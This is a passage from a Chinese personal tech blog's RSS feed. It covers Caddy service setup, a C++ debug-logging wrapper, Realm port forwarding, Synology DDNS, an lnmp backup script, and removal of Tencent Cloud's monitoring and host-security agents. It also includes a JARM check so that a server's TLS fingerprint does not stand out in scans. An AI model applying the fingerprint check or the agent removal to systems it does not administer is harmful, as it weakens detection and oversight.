&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;[Service]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;User=caddy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Group=caddy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;TimeoutStopSec=5s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;LimitNOFILE=1048576
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;LimitNPROC=512
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;PrivateTmp=true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ProtectSystem=full
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;AmbientCapabilities=CAP_NET_BIND_SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;[Install]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;WantedBy=multi-user.target
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 测试正常不正常&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; caddy 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl start caddy &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo systemctl status caddy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="检查指纹"&gt;检查指纹&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 检查指纹&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载jarm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://raw.githubusercontent.com/salesforce/jarm/master/jarm.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看网站jarm指纹 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 jarm.py 你的域名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 网络空间资产搜索引擎：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 打开网址 https://fofa.info &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搜索框输入: jarm=&amp;#34;xxxxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 如果结果有几百万个 那就没问题了，要是几十个就有问题，说明有特征了，重新搞吧&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>c++ 调试输出简单封装</title><link>https://luodaoyi.com/posts/c-%E8%B0%83%E8%AF%95%E8%BE%93%E5%87%BA%E7%AE%80%E5%8D%95%E5%B0%81%E8%A3%85/</link><pubDate>Sun, 03 Dec 2023 03:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c-%E8%B0%83%E8%AF%95%E8%BE%93%E5%87%BA%E7%AE%80%E5%8D%95%E5%B0%81%E8%A3%85/</guid><description>&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;fmt/printf.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;type_traits&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;CharType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GlobalOutputDebugString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;CharType&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 使用 fmt::sprintf 格式化字符串
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;basic_string&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CharType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;formatted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 根据字符类型调用相应的 OutputDebugString 函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_same_v&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CharType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;OutputDebugStringA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;constexpr&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;is_same_v&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CharType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;wchar_t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;OutputDebugStringW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;formatted&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 这个宏将根据项目设置自动选择正确的字符类型。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 如果项目设置为使用 Unicode 字符集，那么 _T 和 __FUNCTIONT__ 将解析为 L 和 __FUNCTIONW__。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 如果项目设置为使用多字节字符集，那么 _T 和 __FUNCTIONT__ 将解析为无前缀和 __FUNCTION__。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define LOG_DEBUG(format, ...) GlobalOutputDebugString(_T(&amp;#34;[%d] &amp;#34;) __FUNCTIONT__ _T(&amp;#34;(%d) &amp;#34;) format, GetCurrentThreadId(), __LINE__, ##__VA_ARGS__)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Realm端口转发工具简单使用</title><link>https://luodaoyi.com/posts/205/</link><pubDate>Tue, 07 Nov 2023 16:19:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/205/</guid><description>&lt;p&gt;Realm 是Rust语言开发的流量转发工具，Realm 比 Gost占用资源更小。&lt;/p&gt;
&lt;p&gt;支持多组服务器转发，同时也支持tcp和udp，还有域名解析便捷。&lt;/p&gt;
&lt;p&gt;据我的测试结果来看，对于RDP的转发 realm 比市面上别的转发工具延迟都要明显低一些。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载最新的可执行文件到本地：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Github 以最新版本为主，根据自己的系统版本下载即可，&lt;/p&gt;</description></item><item><title>群晖dsm增加ddns提供商 (HE.net)</title><link>https://luodaoyi.com/posts/%E7%BE%A4%E6%99%96%E5%A2%9E%E5%8A%A0ddns/</link><pubDate>Tue, 07 Nov 2023 11:48:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BE%A4%E6%99%96%E5%A2%9E%E5%8A%A0ddns/</guid><description>&lt;p&gt;只需要在 /etc.defaults/ddns_provider.conf 文件中加入以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;HE_DDNS&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;modulepath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;DynDNS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;queryurl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://dyn.dns.he.net/nic/update?hostname&lt;span class="o"&gt;=&lt;/span&gt;__HOSTNAME__&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;myip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;__MYIP__
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后在DDNS配置中选择HE_DDNS，假设主机名是 abc.example.org ，在主机名和用户名都填写 abc.example.org ， 密码处填写HE.NET中生成的TOKEN即可&lt;/p&gt;
&lt;p&gt;来源:
&lt;a href="https://www.right.com.cn/forum/forum.php?mod=redirect&amp;amp;goto=findpost&amp;amp;ptid=1326840&amp;amp;pid=11006444"&gt;https://www.right.com.cn/forum/forum.php?mod=redirect&amp;amp;goto=findpost&amp;amp;ptid=1326840&amp;amp;pid=11006444&lt;/a&gt;&lt;/p&gt;</description></item><item><title>完整优雅的卸载腾讯云云服务器安全监控组件</title><link>https://luodaoyi.com/posts/%E5%AE%8C%E6%95%B4%E4%BC%98%E9%9B%85%E7%9A%84%E5%8D%B8%E8%BD%BD%E8%85%BE%E8%AE%AF%E4%BA%91%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%89%E5%85%A8%E7%9B%91%E6%8E%A7%E7%BB%84%E4%BB%B6/</link><pubDate>Sat, 28 Oct 2023 16:48:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%AE%8C%E6%95%B4%E4%BC%98%E9%9B%85%E7%9A%84%E5%8D%B8%E8%BD%BD%E8%85%BE%E8%AE%AF%E4%BA%91%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%89%E5%85%A8%E7%9B%91%E6%8E%A7%E7%BB%84%E4%BB%B6/</guid><description>&lt;p&gt;腾讯云的服务器会自动安装云监控、云镜等安全服务，方便在控制台查看产品运行状态等&lt;/p&gt;
&lt;p&gt;可以看一下服务器的定时任务：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*/1 * * * * /usr/local/qcloud/stargate/admin/start.sh &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; * * * /usr/local/qcloud/YunJing/YDCrontab.sh &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;从来不看腾讯云的云监控控制台，要这东西有何用，卸载&lt;/p&gt;
&lt;p&gt;云监控 Linux 安装目录是 &lt;code&gt;/usr/local/qcloud/stargate&lt;/code&gt; 和 &lt;code&gt;/usr/local/qcloud/monitor&lt;/code&gt;
还有一个主机安全，也就是所谓的云镜，新开服务器不取消勾选都会默认安装
云镜 Linux 安装目录是 &lt;code&gt;/usr/local/qcloud/YunJing&lt;/code&gt;&lt;/p&gt;</description></item><item><title>lnmp自动备份网站文件和数据库并上传到谷歌云盘</title><link>https://luodaoyi.com/posts/lnmp%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E7%BD%91%E7%AB%99%E6%96%87%E4%BB%B6%E5%92%8C%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E4%B8%8A%E4%BC%A0%E5%88%B0%E8%B0%B7%E6%AD%8C%E4%BA%91%E7%9B%98-lnmp-zi-dong-bei-fen-wang-zhan-wen-jian-he-shu-ju-ku-bing-shang-chuan-dao-gu-ge-yun-pan/</link><pubDate>Mon, 10 Oct 2022 08:06:53 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/lnmp%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E7%BD%91%E7%AB%99%E6%96%87%E4%BB%B6%E5%92%8C%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E4%B8%8A%E4%BC%A0%E5%88%B0%E8%B0%B7%E6%AD%8C%E4%BA%91%E7%9B%98-lnmp-zi-dong-bei-fen-wang-zhan-wen-jian-he-shu-ju-ku-bing-shang-chuan-dao-gu-ge-yun-pan/</guid><description>&lt;h2 id="修改备份脚本参数"&gt;修改备份脚本参数&lt;/h2&gt;
&lt;p&gt;修改/root/lnmp1.8/tools/backup.sh 备份脚本的几个参数。清注意：如果升级了lnmp一键安装包，此文件应需要再次修改。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;Backup_Home&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/home/backup/&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 此为备份文件存放目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MySQL_Dump&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/usr/local/mysql/bin/mysqldump&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# mysqldump路径,如果是mariadb,替换/usr/local/mysql为/usr/local/mariadb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######~Set Directory you want to backup~######&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;Backup_Dir&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/home/wwwroot/aaa.com&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/home/wwwroot/avatar.aaa.com&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 要备份的目录，目录用双引号括起来，多个目录空格隔开&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######~Set MySQL Database you want to backup~######&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;Backup_Database&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;lnmp&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;aaa&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 要备份的数据库，目录用双引号括起来，多个目录空格隔开&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
